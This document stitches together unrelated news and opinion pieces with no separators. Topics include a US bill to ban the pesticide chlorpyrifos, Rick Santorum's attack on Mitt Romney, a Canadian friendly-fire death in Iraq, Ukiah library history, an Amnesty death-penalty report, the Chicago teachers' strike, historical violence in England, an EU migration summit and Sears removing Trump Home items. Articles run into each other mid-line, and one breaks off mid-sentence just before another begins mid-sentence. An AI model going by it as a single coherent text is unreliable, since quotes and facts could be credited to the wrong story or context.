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going to let politics get in the way of children’s health,” Sen. Tom Udall Thomas (Tom) Stewart UdallHillicon Valley: House panel takes on election security | DOJ watchdog eyes employee texts | Senate Dems urge regulators to block T-Mobile, Sprint deal | 'Romance scams' cost victims 3M in 2018 Dems urge regulators to reject T-Mobile, Sprint merger Dems wary of killing off filibuster MORE (D-N.M.), the bill’s main sponsor, said at a news conference with advocates for farmworkers, who can be exposed to the pesticide at a higher rate than the general public.
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“Administrator Pruitt may choose to put aside science, public health and environmental protection in favor of big chemical profits, but Congress should not,” he continued.
Sen. Richard Blumenthal (D-Conn.) is joining Udall as an initial co-sponsor of the legislation, and Rep. Nydia Velázquez (D-N.Y.) is introducing a similar bill in the House.
Pruitt’s decision against banning chlorpyrifos was supported by Dow Chemical Co. and agriculture business representatives. They argue that the pesticide is widely used, would be expensive to replace and that the scientific conclusions about it are not strong.
Udall’s bill received strong support from environmentalists.
“This bill tells the chemical industry that our children’s health and safety are not for sale,” Rhea Suh, president of the Natural Resources Defense Council, said in a statement.
“Families shouldn’t have to worry the fruits and veggies they feed their kids could do them harm. Farmworkers shouldn’t have to fear that they might be exposed to toxic pesticides in the fields or that their children will be poisoned if it drifts into their communities,” she said.
“Our leaders in Washington must stop playing politics with children’s health.”
The EPA is in the midst of a regularly scheduled review to examine whether chlorpyrifos’s use should still be permitted, separate from the process that led to Pruitt’s March decision.
Environmentalists and some Democratic attorneys general have also filed lawsuits to force the EPA to ban it.Republican presidential candidate, former Pennsylvania Sen. Rick Santorum addresses supporters at a campaign rally in Fond du Lac, Wis., Sunday, March 25, 2012. AP Photo/Jae C. Hong
(CBS News) FRANKSVILLE, Wis. - In directing what appeared to be a new level of vitriol toward Mitt Romney, Rick Santorum on Sunday described his rival as "the worst Republican in the country to put up against Barack Obama." Santorum later, however, bristled at the notion that he was referring to anything other than Romney's position on health care.
After a rally at the South Hills Country Club here, Santorum asked Republicans to "pick any other Republican in the country" than GOP presidential front-runner Romney, based on issues that make the former Massachusetts governor "uniquely disqualified" to run against Obama.
Reporters swarmed him for clarification, only to have Santorum testily reply that it was unreasonable to take his comment outside the context of health care.
"I would say, as for, on the issue of health care, yes, that's what I was talking about - Obamacare, as you heard me say," he said. "That's what I said. I didn't say anything different than that. That's exactly what I said."
Santorum in heated exchange with reporter
Pressed further, Santorum clarified that he meant Romney was the worst candidate "to run against Barack Obama on the issue of health care, because he fashioned the blueprint. I've been saying it in every speech. Quit distorting our words. If I see it [in print], it's bull(expletive). C'mon man, what are you doing?"
Jeff Zeleny: Santorum outburst was for cameras
Romney spokesman Ryan Williams quickly issued a statement in response: "Rick Santorum is becoming more desperate and angry and unhinged every day. He see conservatives coalescing around Mitt Romney and he's rattled by the backlash caused by his suggestion that keeping Barack Obama would be better than electing a Republican. He's panicking in the final stages of his campaign."
New York Times reporter Jeff Zeleny discussed his exchange with Santorum on "CBS This Morning" on Monday. Watch the interview below:Forgot 2 defrost: Butterball gives Thanksgiving help by text
NEW YORK (AP) — "Forgot 2 defrost early. What 2 do now?" Butterball, which has been fielding phone calls from Thanksgiving cooks for three decades, is letting people text their turkey-related questions this year for the first time.
The company's regular phone help line begins Tuesday. Butterball will start to take text message questions on Nov. 17 and continue through Thanksgiving Day. Cooks can text questions to 844-877-3456 at any time of day, since experts — not bots — will be on call 24 hours. People can also still reach out to the company's experts through email or social media.
While the way people ask questions has changed over the years, Butterball says the most-asked question has remained the same: How long does it take to thaw the turkey?Calculations by The Daily Telegraph showed that Scotland, with an electorate of four million, could effectively cancel out the votes of London, home to 5.5 million voters. The AV referendum will be held on May 5, the same day as elections to the Scottish Parliament and many English councils. There are no local elections in London.
Polling data suggest that people in areas with other elections on May 5 are much more likely to vote in the referendum. Because people in Scotland are more favourable to the AV system than those in other parts of the country, opponents of AV fear they could have a disproportionate influence over the result.
A recent YouGov poll suggested that 65 per cent of Scottish voters say they are certain to vote in the referendum, a total of 2.6 million people. The Yes vote in Scotland is estimated at 41 per cent, meaning 1.066 million Scots would vote Yes. London has 5.5 million voters, of whom only 49 per cent said they will definitely vote on May 5.
With the London No vote estimated at 41 per cent, that would see 1.105 million London votes for the No campaign.
The prospect of Scotland having equal weight in the referendum than the more populous capital provoked warnings that the final outcome could be called into question in the event of a close result. Bernard Jenkin, the Conservative chairman of the public administration committee, said the calculations showed that ministers were wrong to hold the referendum on the same day as local and devolved elections. He added: “How many Scots would bother to vote Yes if they were not already voting in another election? How many Londoners will not bother to vote No because there are no other elections being held there?’’Sgt. Andrew Joseph Doiron was killed after he and others showed up to the front line unannounced, a spokesman for Iraq’s Kurdish forces said Sunday.
Sgt. Andrew Joseph Doiron was killed in a friendly fire incident in northern Iraq. ( THE ASSOCIATED PRESS )
IRBIL, IRAQ—A Canadian special forces soldier was killed in a friendly fire incident after he and others ignored an order to stay in their car and showed up to the front line unannounced, a spokesman for Iraq’s Kurdish forces said Sunday. The death on Friday of Sgt. Andrew Joseph Doiron marked Canada’s first casualty as part of the U.S.-led coalition’s war on the extremist Islamic State group. Canadian officials could not be immediately reached for comment Sunday on the Peshmerga claim, though Canada’s defence minister previously acknowledged Doiron’s death came as a result of “a case of mistaken identity.” Peshmerga spokesman Halgurd Hekmat said a group of Canadian soldiers showed up unannounced Friday to the village of Bashiq, in Iraq’s Nineveh province near the militant-held city of Mosul. The area had seen heavy fighting against Islamic State militants the previous day.
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“When they returned, the Peshmerga asked them to identify themselves,” Hekmat told The Associated Press. “They answered in Arabic; that’s when Peshmerga started shooting. It was their fault.” Hekmat added that he doesn’t know why the Canadians were there. “I consider it an improper action by the Canadians and illogical,” he said. Two Kurdish officials later told the AP that Doiron’s body was flown to Canada early Sunday following a military ceremony at Irbil International Airport. They spoke on condition of anonymity as they were not authorized to brief journalists. Canada’s defence department on Saturday announced the death of Doiron, a soldier in the Canadian Special Operations Regiment based at Garrison Petawawa, Ontario. Three other Canadian soldiers were wounded in the incident and are in stable condition, Canadian Defence Minister Jason Kenney said. Canada has 69 special forces soldiers with Kurdish peshmerga fighters in what the government calls an advising and assisting role. They were sent to help train Kurdish fighters last September in a mission that was billed as noncombat with the elite troops working far behind the front lines
The fact that Canadian special forces have been training and assisting on the front lines and directing airstrikes has stirred controversy in the country, but Kenney said the rules of engagement will remain the same. Kenney said Doiron’s death had “nothing to do with combat,” saying it was a case of mistaken identity on the part of Kurdish fighters at night.
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“It was caused by a failure of identification. There will be an inquiry,” Kenney said. The Islamic State group currently holds a third of Iraq and Syria. The U.S.-led coalition began airstrikes targeting the extremists in August. So far, four other troops have been killed as part of the coalition, not counting Iraqi forces. They include a U.S. Marine presumed lost at sea in October, a Marine killed in a noncombat incident in Baghdad in October, a U.S. air force pilot killed in December when his jet crashed in Jordan and a captive Jordanian pilot burned to death in a cage by the Islamic State group.
Read more about:Friday, April 13, 1934
Dispatch-Democrat
Public invited to ‘open house’; Ukiah Library will celebrate twentieth anniversay
On next Monday the Ukiah public library will have completed twenty years of existence as a Carnegie library, following seven years as town library. It seemed a fitting time to remind the people of Ukiah of the growth of the work of the library and to make public its aims and hopes of future greater usefulness.
As the Saturday Afternoon club had been the original movers in securing the establishment of the library in 1907, and had also aided largely in securing a lot and Carnegie funds for the building in 1914, the library board invited the women of the club to sponsor a twentieth anniversary celebration.
This invitation was accepted, and in accordance with their plans, on next Monday the library will hold open house all day and every resident of Ukiah and vicinity is cordially invited to drop in and see what the library offers in services to its patrons.
The latest addition to its resources is the children’s library and those who have not already visited it will enjoy seeing the very delightful place where the youngsters may read and secure books for home use. Miss Gwendolyn Tuomey is the very charming young lady who serves the children. On every Saturday morning she has a story hour which draws many youngsters and is a source of great pleasure to them.
She will not give the usual story next Saturday but instead will have story hour at 3:00 o’clock Monday afternoon and at that time all the children are invited to come and bring their parents with them.
On Monday evening there will be musical numbers and a few brief talks by past and present library officials. William Bromley, president of the board of trustees, will give a few interesting bits of library history and tell something of the board’s plans for future good. The ladies of the Saturday Afternoon club will act as hostesses at a tea service both afternoon and evening.
The entire purpose of the day is to make better known the good things the library can do for the community and you are urged to come and see what new things are there since your last visit.
Mrs. Ester Michaelson has been for several years the very efficient librarian and all through the library are evidences of her taste and skill. She is ably assisted by Mrs. Ida L. Brown and Miss Tuomey. This competent trio, assisted by the women of the Saturday Afternoon club, will give you a warm welcome Monday.
Friday, March 10, 1916
Ukiah Republican-Press
Public library growth continues; boys must behave
The Board of Library Trustees at the regular session adopted a tentative list to be purchased and the matter is in the hands of the book committee, George P. Anderson and J.R. Thomas. Various summer work about the attractive municipal structure was ordered done and the lawn has since been mowed.
Mrs. Burrey, the librarian, reported the total attendance for the short month as 2,354, with 1454 books loaned and 101 magazines. The periodical department is becoming more important each month. Complaint is made that small boys use the lawn as playground and scamper up and down the front steps.
From Christmas gift to real estate office
On Christmas Eve of 1912, artist Grace Carpenter Hudson’s parents, Helen and A.O. Carpenter, and Carrie J. Garsey deeded the property bounded by South State and Clay streets to the town of Ukiah “upon the express conditions that the land described shall, be used solely for the purpose of the construction and maintenance thereon of a Carnegie Public Library building, and that construction shall be commenced within one year from the date hereof and completed within a reasonable time.”
Helen Carpenter and Carrie Garsey had only owned the property a week, purchasing it for $10 on Dec. 16,1912 from George Whitehorn.
The city held the property until 1975. By then, the new county library at Perkins and Main streets was in operation, and the venerable Carnegie Library building passed into private ownership.
Beverly Sanders, owner of Beverly Sanders Realty Company, purchased the former Ukiah Library building in 1991, from Wanda Turri. The building that was originally constructed with Carnegie funds had changed hands several times since 1975, but since its sale in 1991 it has been used continuously as the home of Beverly Sanders’ real estate company.
More Ukiah Library trivia
The front entrance door of Ukiah’s Carnegie Library building, and the window above it, were moved to the Held-Poage Research Library on West Perkins Street and are now in use on the Held-Poage’s Publication Building, which for many years has stored Mendocino County Historical Society publications.I have to hand it to Gov. Sam Brownback: The Kansas Republican's transition to a Caligula-inspired style of leadership during his second term has been a fascinating train wreck to watch.
In addition to directing the state to a massive budget shortfall, the governor has also signed some of the most restrictive antiabortion legislation in the country -- including the nation's first-ever ban on "dilation & evacuation" (D&E) abortion, which could effectively prohibit doctors from providing appropriate care for their patients. And now, Brownback has found a bizarre new way to celebrate the anti-choice law and create a public spectacle.
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On Tuesday, the governor set out on a four-city tour to reenact his signing of SB 95, which happened during a closed-door ceremony earlier this month. Unlike the official signing, at which Brownback was flanked by blown-up images of developing fetuses and anti-choice activists, this week's reenactment ceremonies were made open to the public -- especially to students at the three Catholic high schools and Catholic church education building Brownback visited, according to Think Progress.
"I am profoundly disappointed that Governor Brownback has chosen to hold a publicity tour for this reprehensible law," Julie Burkhart, a Kansas abortion provider and founder of the political action committee Trust Women, said. "Reenacting this bill signing in front of children is not only a publicity stunt, but also spreads hate and disrespect."
The law identifies D&E as “dismemberment” abortion, which is neither a medical term nor an easy phrase to stomach. That’s not accidental. Brownback’s anti-choice peers at National Right to Life — which spearheaded the Kansas restrictions and similar measures in states such as Oklahoma — have approached D&E bans as antiabortion activists once approached restrictions on “intact dilation & extraction” (D&X), otherwise known as “partial-birth abortion.”
And anti-choice organizations have found exceptional (and exceptionally menacing) allies in Brownback and Kansas attorney general Derek Schmidt, who just this week requested nearly half a million dollars in taxpayer money to defend SB 95 in court. Kansas is already among the top five states to spend exorbitant sums defending its antiabortion laws, and has spent more than $1 million in legal defense funding over the past three years alone — all to enforce restrictions that are, overwhelmingly, medically unnecessary and potentially life-threatening.
Of course, that’s not how Brownback is portraying the newest measure as he embarks on his anti-choice publicity tour for teens. It’s interesting to note that some of the governor’s most troubling tax cuts have been directed at education spending, while he continues to endorse antiabortion defense spending that is, in the scheme of the state’s budget crisis, prohibitive. (Actually, "interesting" might not be the right word; "unconscionable" seems to fit better.)
Clearly, though, slashing funding for education in favor of defending abortion restrictions must not be that prohibitive: Brownback was, after all, able to make it to four different school auditoriums this week so he could pretend to sign a law he’s already signed — and one that will have major implications for his constituents, regardless of gender or age.Human rights group Amnesty International has published a report criticizing nations, including the United States, for allowing inmates with mental or intellectual disabilities to be executed — a violation of international standards, the group wrote.
The report, released on this year’s World Day against the Death Penalty, said nations that flout international law must reorient - if not outright abolish - capital punishment laws to protect vulnerable inmates.
Amnesty International, along with the World Coalition Against the Death Penalty, said mentally-disabled or -ill prisoners sentenced to be executed may not have the mental capacity to “appreciate the unlawfulness or nature of his or her conduct, or capacity to control his or her conduct to conform to the requirements of law,” as stated by the Rome Statute of the International Criminal Court.
“International standards clearly require that those suffering from mental and intellectual disabilities should not face the ultimate punishment,” said Audrey Gaughran, Amnesty International’s Global Issues director. “But in many cases disabilities are not identified during criminal processes.”
For example, the report detailed a handful of mentally-disabled prisoners in the US who have been or are scheduled to be executed in 2014.
Among those already executed despite strong evidence of mental impairment: Askari Abdullah Muhammad, who was executed in Florida on Jan. 7 for a 1980 prison murder and had a long history of mental illness, including paranoid schizophrenia; and Ramiro Hernandez Llanas, who was executed in Texas on April 9 despite intellectual disabilities exhibited in six different IQ tests conducted during the last decade.
Prisoners in the US on death row following murder convictions who are currently seeking clemency in Florida include Frank Walls, who has been “assessed as functioning at the level of a 12-year-old and as suffering from brain damage, brain dysfunction and major psychiatric disorders,” according to the report, and Michael Zack, who, after suffering years of physical, sexual and psychological abuse as a child, was assessed by mental health experts as suffering from “post-traumatic stress disorder, chronic depression and possible brain damage,”and that he “had the mental and emotional age of a young child, and that his ability to appreciate the criminality of his conduct had been substantially impaired.”
The report pointed out that US law remains ambiguous on the rights of the mentally ill to avoid “cruel and unusual punishments” despite protections for the criminally insane.
“In 1986 in Ford v. Wainwright the US Supreme Court of the United States of America stated that the execution of the ‘insane’ violates the US Constitution’s Eighth Amendment ban on ‘cruel and unusual punishments.’ However, the Ford ruling neither defined competence for execution, nor mandated specific procedures that were to be followed to determine whether a person was competent for execution.”
Japan, Pakistan and Malaysia are among the other nations Amnesty International criticized for inhumane treatment of mentally-ill inmates facing capital punishment.
Outside of issuing a moratorium on capital punishment, with the aim of eventual abolishment of the practice, the report recommended nations afford prisoners scheduled for execution “have access to regular, independent and rigorous mental health assessment” at all stages of their incarceration; are afforded treatment and are removed from death row upon diagnosis of a mental disorder; are given clear information about details of their case and execution, as are their relatives and legal representatives; and are detained under conditions that comply with international standards, which do not include any form of solitary confinement.
“Countries that still execute must ensure that there are resources to carry out independent and rigorous assessments of anyone facing the death penalty, from the time they are charged and continuing after the sentence,” said Amnesty International’s Gaughran.
“We urge governments of all countries that still resort to the death penalty to immediately establish a moratorium on executions as a first step towards abolition. What we are highlighting today is yet another example of the injustice of this penalty.”
Thirty inmates have been executed in the US thus far in 2014. Eighteen more are scheduled for capital punishment, though five of those executions have been suspended, or stayed, and four more will likely be stayed in the future, according to the Death Penalty Information Center. Thirty-nine inmates in were executed in the US in 2013. The state of Texas has executed the most prisoners - well over 500 - since 1977.
In recent years, many US states have turned to secretive sources, often compounding pharmacies, to supply execution ‘cocktails’ using unproven drugs to carry out capital punishments. These actions were the result of the European Union’s ban - in place over moral objections to capital punishment - against its pharmaceutical companies selling to US state correctional departments drugs that could be used in lethal injections.
Yet, compounding pharmacies do not produce their drugs under regulations enforced by the US Food and Drug Administration. In addition, multiple prisoners subjected to the unproven drugs have exhibited obvious pain and torment during lethal injections, leading many to question just how safe they are and further calling into question how humane or ethical the death penalty can be considered.In Chicago, the teachers’ strike was hugely popular. In the national media, it was maligned.
Then you have people making policies who don’t send their kids to public school, and who didn’t go themselves, and who have some sort of mythical vision in their brains about what inner-city schools are. I’m sick of other people thinking that they know what goes on in classrooms who have never been, as I like to say, on this side of the desk.
In September, as picket lines of teachers in red T-shirts filled Chicago’s streets, the majority of Chicagoans were cheering on Karen Lewis, the president of the radically democratic Chicago Teachers Union (CTU).
Members of the national media, however, were wringing their hands, worried that children’s education was being imperiled by the entitled members of a public employee union.
These sentiments were found everywhere, from the pages of The Nation to the halls of the George W. Bush Institute. On no issue is elite opinion more united than on the need for education “reform”—at the expense of teachers and their collective bargaining rights.
A New York Times editorial damned CTU’s Lewis: “Her conduct during the strike has inflamed union members and raised expectations, making it difficult to bring them into line after the negotiating team finished its work.”
In The Nation, “Sister Citizen” columnist Melissa Harris-Perry bemoaned the “generation of children” who “are stuck … between the leaders and teachers who are supposed to have their best interests at heart but who seem willing to allow this generation to be lost.”
On NBC’s Today show, co-anchor Savannah Guthrie asked President Barack Obama about the strike. He replied, “I think Governor Romney and a number of folks try to politicize the issue and do a lot of teacher-bashing.” An incredulous Guthrie followed up: “Can you really say that teachers unions aren’t slowing the pace of reform?”
The so-called education reform movement is characterized by a fixation on school personnel management and a disregard for the fundamental economic inequalities that result in disparate educational outcomes. This personnel-focused approach is deeply appealing to upper-middle-class liberals, who often prefer technocratic solutions over social democratic programs that fatten the tax base.
The fact is, American public schools in affluent suburbs deliver high-quality education and have unionized teachers. And Northern Europe’s social democracies, which deliver the finest primary and secondary education in the world, boast formidable labor movements.
Of course, while the teachers unions are vilified by both wings of the political class, teachers remain very popular with parents and voters. Bruce Rauner, a hedge-fund billionaire and behind-the-scenes education advisor to Mayor Rahm Emanuel, understands this. As the teachers took to the picket lines, Rauner was speaking at the Art Institute of Chicago to a gathering of education experts convened under the auspices of the George W. Bush Institute. Said Rauner: “The critical issue is to separate the union from the teachers. … You’ve got to break apart the union bosses away from the really talented teachers.” In Rauner’s fantasy, Chicago’s teachers (who overwhelmingly voted in favor of the strike) can be pried away from the union over the issue of merit pay—this shows how much hedge-fund managers know about solidarity.
Democracy in action
On Sunday, September 16, the CTU negotiating team presented the union’s House of Delegates with the agreement it had reached with the school board. Instead of voting to end the strike as expected, the 800-plus delegates voted to take the proposal back to their schools.
The next morning, Lewis was a guest on WBEZ, Chicago’s NPR affiliate, where a skeptical talk show host asked her why she hadn’t instructed her members to end their strike. Lewis replied: “The union leadership does not tell the members what to do. … To me, having those discussions in the rank and file is so important. … We do take democracy seriously. And I know that’s frustrating for people, but in the end it is ultimately a better way to govern a union because it is not top-down leadership.”
After discussing the contract with their fellow teachers, the House of Delegates voted to end the strike. And on October 2, the members voted to approve the contract.
The CTU model of bottom-up, rank-and-file unionism is a refreshing alternative to the timid, bureaucratic labor movement we have known in this country for so many years.
In These Times Staff Writer Sady Doyle and I spoke with CTU President Karen Lewis. Here is some of what she had to say:
Bleifuss: Where does this idea that teachers are the root of the problem originate?
Lewis: The United States is almost back to the levels of income inequality and distribution that helped precipitate the Great Depression. So how do the people who are in charge continue to be in charge? One of the easiest ways is to start scapegoating the people who could actually perform the critical analysis of what is going on.
Then you have people making policies who don’t send their kids to public school, and who didn’t go themselves, and who have some sort of mythical vision in their brains about what inner-city schools are. I’m sick of other people thinking that they know what goes on in classrooms who have never been, as I like to say, on this side of the desk.
Why do people seem to have so much trouble with democracy?
Because nobody knows how to practice it anymore. Most organizations that are supposed to be democratic aren’t. There is always leadership control and people’s egos involved. But when people are part of the process, they feel a whole lot better about how things go. Certainly our union wasn’t democratic [before the 2010 election of Lewis’ reform caucus] and that was one of our goals, to change this into a democratic union that is responsive to its members. I trust our membership, totally. And when you trust your membership, good things happen.
What lesson could other union leaders learn from the CTU?
Every single union is different. Every local is different. The key is that people need to decide what they want their union to be, and I’m talking about members as opposed to leaders. Once members are happy with the way things are, then, okay.
Every union needs to do some soul searching about what its purpose is. If the purpose is to simply fight for wages and benefits, then the current models of unions work.
But the people I know believe that the union should be responsive to its members. And because we’re teaching in Chicago, we’re going to have to be responsive to our kids and their families, and to the situations in their lives. So we need to start working together to figure out how to solve some of our problems.
Why do hedge-fund billionaires want to demonize teachers? Why do they want to demonize the parents of the children? And why do they want to demonize and criminalize the children? This is what scares me.
Everyone is pointing blame in the absolutely wrong directions. That is why I’m so passionate about fighting corporate education reform. It is wrong.
Do you see teachers as the first line of defense?
Yes, against stupidity.
During the strike, many teachers were holding “Karen for Mayor” signs. Are you eyeing a run for office?
No! Absolutely not. How am I going to be a politician? I am bad at it. You’ve seen my YouTube videos.
I had my dream job, but what I saw was people who were trying to destroy that, and I felt like I had to stand up.On 10 February 1355, St Scholastica Day, two students at the University of Oxford got into a dispute with the landlord of the tavern at which they had been drinking. The quality of the wine, they felt, was not up to snuff. The landlord disagreed. In response, the students threw a quart pot of wine in his face and proceeded to beat him senseless. The mayor of Oxford asked the chancellor of the university to arrest the students, but 200 other ‘scholars’ turned out in their defence. Three days of rioting followed, with the townsfolk, from the mayor downwards, calling in local villagers to help defeat the students. Around 63 were killed, as were 30 locals. Many more were injured, and massive damage was done to university property. This really was town versus gown.
Oxford in the 14th century was a pretty dangerous place, even without this type of incident. A study of coroners’ rolls from the 1340s suggests a homicide rate of 120 per 100,000 of the population – compared with around 1 per 100,000 of the population today for England, Wales and Scotland, meaning you were 100 times more likely to be murdered in medieval Oxford than you are in modern Britain. And homicide in 14th-century Oxford, for both perpetrators and victims, was an overwhelmingly male affair, whereas now a third of all homicide victims are women. Some of the victims were simply unlucky: in a case of mistaken identity from 1319, Luke de Horton, probably a townsman, was cut down in the course of a student feud when he left his house to urinate in the street. More commonly, homicides arose from arguments between young adult men, whether townsfolk, students or members of Oxford’s transient population. The truism that, if you want to avoid violence, don’t go to bars where young men drink had already been established in 14th-century Oxford. But in most other respects, this medieval city presents us with a violence which was unlike, and running at a much higher level than, the current experience in Britain.
How, and why, has this historical change in violence occurred? We might turn initially to the analysis of criminal court records, which survive for England, albeit patchily, back to the 12th century. Although these records can be used to illustrate the history of a number of violent offences, it is homicide that has attracted the most attention among historians since there is a feeling (challenged by some recent work, admittedly) that homicide was more likely to be reported than other forms of violent behaviour. Thus in many instances assaults would not be reported, inhibitions about reporting sexual assault or rape would have been even stronger in the past than they are at present, while domestic violence, it is generally accepted, was massively under-reported: a wife beaten by her husband, in a period when divorce was not an option, might regard reporting him to the authorities as inherently counterproductive, and men suffering violence at the hands of their wives would risk ridicule and doubts about their masculinity were they to report it.
Moreover, assault was widely defined, in the past as now, covering everything from its victim being shaken by the lapels to experiencing severe physical injury. Further reassurance of the use of homicide statistics as indicative of levels of violence more generally is provided by the way in which, when the evidence exists, a large number of fatalities seems to have been the unexpected consequence of fights between men who meant only to damage one another. Very few killings were planned and surprisingly few seem to have occurred when other offences, notably burglary and robbery, were being committed.
What a wide range of studies reveals is that, over the long term, homicide declined steadily between the Middle Ages and the mid-20th century. Estimates of homicide rates for the Middle Ages vary. While Oxford in the 1340s appears to have been the most dangerous place in English history, battlefields excepted, the average murder rate from medieval samples across the country suggests an annual homicide rate of 20 per 100,000 of the population. By 1600, the rate, with regional variations, was probably less than half of the medieval level, maybe half that again by 1700, and down to about 2 per 100,000 by 1800. (Over these centuries, medicine did not advance enough to play the role it does today in keeping homicide levels low.) This fall in homicidal violence probably extended to other forms of violence as well. Furthermore, England’s experience seems to have been mirrored by developments in Scandinavia, what is now the Netherlands and Belgium, and northern Germany, suggesting that the decline of homicide in England was part of a northern-European phenomenon whose causes remain in large measure conjectural, but that must be related to broad cultural shifts interacting with processes of state formation.
Perhaps the most important facet of these cultural shifts was how they reflected changes in male behaviour. Outside of infanticide, female killers were rare, and were normally convicted for murdering within the family circle. Thus, causing death through violence, along with lesser forms of violence, were (as they remain) overwhelmingly male activities. Why? Some would trace this to Darwinian-based evolutionary psychology: males in all species are programmed to compete through violence, above all for reproductive rights over females, and the males who came out on top in such competitions were likely to ensure that the next generation would be strong and capable of survival. Whatever the overall applicability of this hypothesis, it remains clear that throughout most of recorded history a willingness to fight when occasion demanded it (‘stand up for yourself’ as it was expressed where I grew up) was seen as a central component of masculinity.
A key element here is the concept of male honour. From medieval knights through to 18th-century duellists to late 20th-century football hooligans, we encounter males who felt that violence was an appropriate way of dealing with perceived slights to their honour. Yet willingness to fight, not least in defence of a perception of masculine honour, has to be adjusted historically to growing cultural differentiation between different social classes. Put briefly, around 1600, men from all classes might be accused of assault or homicide at local courts, including gentry and those prosperous farmers known as yeomen. But by 1800, the men thus accused would come overwhelmingly from the lower orders, labourers or workers in the various industries that were developing at that time. Violence as a part of everyday life was by then deemed inappropriate and unnecessary among their social superiors.
The form of violence most overtly linked to notions of masculine honour was the duel. Both modern popular historians and a number of writers from around 1600 linked the duel to earlier forms of medieval single combat. In fact, the duel in the sense in which it is generally understood emerged in Italy in the late 16th century, and was inextricably linked with the honour code of the Renaissance gentleman. Between that date and the early 19th century, upper-class Englishmen fought duels, frequently involving death or maiming, on the basis of perceived insults that frequently seem massively trivial to the modern observer and which, indeed, seemed equally trivial to many contemporary observers: throughout, legal officials and members of the clergy were opposed to the practice.
The duel was publicly ridiculed: in one, the protagonists’ pistols were loaded with potato rather than bullets
But returning to the decline of violence, we find ourselves confronting the problem of why the practice of duelling in England went into terminal decline, which it did at about the middle of the 19th century (the last known duel in England was fought in 1852), whereas the practice was to continue well into the 20th century elsewhere, notably in Germany. The general background should, perhaps, be ascribed to the new ethos of modernity, capitalism and middle-class values, which was characterising English public life by that date. Connected with this was a growing sense among the public that the practice was ridiculous, not least when it involved senior politicians who, it was thought, should have been devoting their attention and energies to more serious matters (notably when the Duke of Wellington, then prime minister, engaged in a duel in 1829). Public ridicule of duelling was aided by incidents such as when the duellists’ seconds in a late-18th-century duel loaded the protagonists’ pistols with pieces of potato rather than bullets.
Unfortunately, before 1800 we have little evidence of how violence might fit into the everyday experiences of groups below the gentry. One source that does help here is The Chronicles of John Cannon. Born of farming stock in Somerset in 1684, Cannon was an autodidact and bibliophile, a man of wide reading and deep Christian faith. He worked as a farm servant, as an excise officer, and later in life as a schoolteacher and as parish clerk to both of Glastonbury’s churches, also earning money through being a scrivener and helping cast accounts. Like most people, Cannon took a keen interest in law and order in his area, particularly murders, as well as crimes from further afield, news of which came to him via newspapers and |
week, the highest rate so far this year.
Under the deal, Greece will open reception centres with enough room for 30,000 migrants by the end of the year.
The UN's refugee body, the UNHCR, will provide another 20,000 spaces in the same time.
It will also add reception centres with another 50,000 spaces in Balkan countries, which are the most popular routes for migrants looking to travel north to Germany and Scandinavia.
Also as part of the deal, leaders agreed to:
within a week, send 400 police officers to Slovenia, which has struggled with arrival numbers
"discourage" the movement of migrants to neighbouring countries' borders "without informing neighbouring countries"
appoint contact officers who can submit information on migrant numbers to other countries and authorities
"This is one of the greatest litmus tests that Europe has ever faced," said German Chancellor Angela Merkel.
Greece migrant arrivals 157,000 people reached Greek islands so far this month 50,000 new places to be created in Greek welcome centres by January
50,000 more spaces to be created in neighbouring countries
60,000 people reached Slovenia in past 10 days
Smaller countries along the Balkan route say their resources are stretched by the number of people arriving.
Bottlenecks have also been exacerbated in part by Hungary closing its borders with Serbia and Croatia, forcing migrants to seek alternative routes north.
Their journeys have been aided by governments who have helped them move to camps or on to the next border.
Before the talks, Croatian Prime Minister Zoran Milanovic dismissed requests to stop moving migrants on.
"That is impossible, whoever wrote this does not understand how things work and must have just woken up from a months-long sleep," he said.
"Waving them through has to be stopped and that is what is going to happen," European Commission President Jean-Claude Juncker said after the summit.
Mr Milanovic and Slovenian President Borut Pahor had said Sunday's talks would be a success only if they agreed to stricter restrictions on migrants travelling from Turkey to Greece.
But no firm new measures on that front were agreed.
Analysis: Lucy Williamson, BBC News, Brussels
There was grumbling, there was pleading, and there were several sharp retorts.
It was sometimes hard to remember that all the leaders who turned up here today professed to want the same thing: an end to the chaos that increasingly marks the migration route through the Western Balkans.
They don't agree on the way to do it.
Even before the meeting began, Croatia's Prime Minister Zoran Milanovic labelled the plan "unrealistic"; drafted by someone "who had just woken up from a months-long sleep". The solution, he said, lay in Turkey and Greece.
It's a sentiment echoed by many of the leaders here today - that without action from Turkey in stemming the number of people crossing its border into Greece, anything else is just tinkering around the edges.
Read more: Europe's rifts laid bare in Brussels
Vast numbers of migrants have made their way across the Mediterranean to Europe in 2015, creating division in the EU over how best to deal with the crisis.
More than 650,000 migrants are estimated to have arrived by sea so far this year, according to the International Organization for Migration (IOM), but exact numbers are unclear.
The conflict in Syria continues to be the biggest driver of the migration.
A note on terminology: The BBC uses the term migrant to refer to all people on the move who have yet to complete the legal process of claiming asylum. This group includes people fleeing war-torn countries such as Syria, who are likely to be granted refugee status, as well as people who are seeking jobs and better lives, who governments are likely to rule are economic migrants.
Have you been affected by the migration crisis? You can email haveyoursay@bbc.co.uk with your experiences.
Please include a contact number if you are willing to speak to a BBC journalist. You can also contact us in the following ways:Feb 11 (Reuters) - Major U.S. retailers Sears and Kmart this week removed 31 Trump Home items from their online product offerings to focus on more profitable items, a spokesman said on Saturday.
The decision follows retailer Nordstrom Inc’s announcement this week it had decided to stop carrying Ivanka Trump’s apparel because of declining sales, prompting President Donald Trump to take to Twitter to defend his daughter. White House spokesman Sean Spicer characterized the Nordstrom move as a “direct attack” on the president’s policies.
Neither Sears nor Kmart carried the Trump Home products in their retail stores, a Sears Holdings Corp spokesman said. Kmart is a wholly owned subsidiary of Sears Holdings.
“As part of the company’s initiative to optimize its online product assortment, we constantly refine that assortment to focus on our most profitable items,” spokesman Brian Hanover said in a statement.
“Amid that streamlining effort, 31 Trump Home items were among the items removed online this week,” he said, adding those items can be found through a third-party vendor, without providing additional information about the products.
The Trump Home collection includes lines of furniture, lighting, bedding, mirrors and chandeliers, some from makers who supply the items to Trump hotels, according to the collection’s website.
Nordstrom’s sales of Ivanka Trump’s line of clothing and shoes fell by nearly one-third in the past fiscal year, with sharp drops in sales weeks before her father was elected president on Nov. 8, the Wall Street Journal reported on Saturday.There comes a moment in Joel Schumacher's 8MM (which has the strange quality of being both bad and underrated) when Peter Stormare's character meets his end and says, "Oh, God, not like this. I'm supposed to have something more cinematic."
That always struck me as being as being a good motto for L.A. in the movies. As a city that has a flair for the dramatic, we've always been fascinated with our own demise. And if the movies are any indication, we hold a not-so-secret desire that it happens in the grandest fashion possible. We're talking nuclear warheads, and magnitude 10.0 earthquakes, and remorseless invaders from outer space. Compared to our prospects, Pompeii is like Mar-a-Lago.
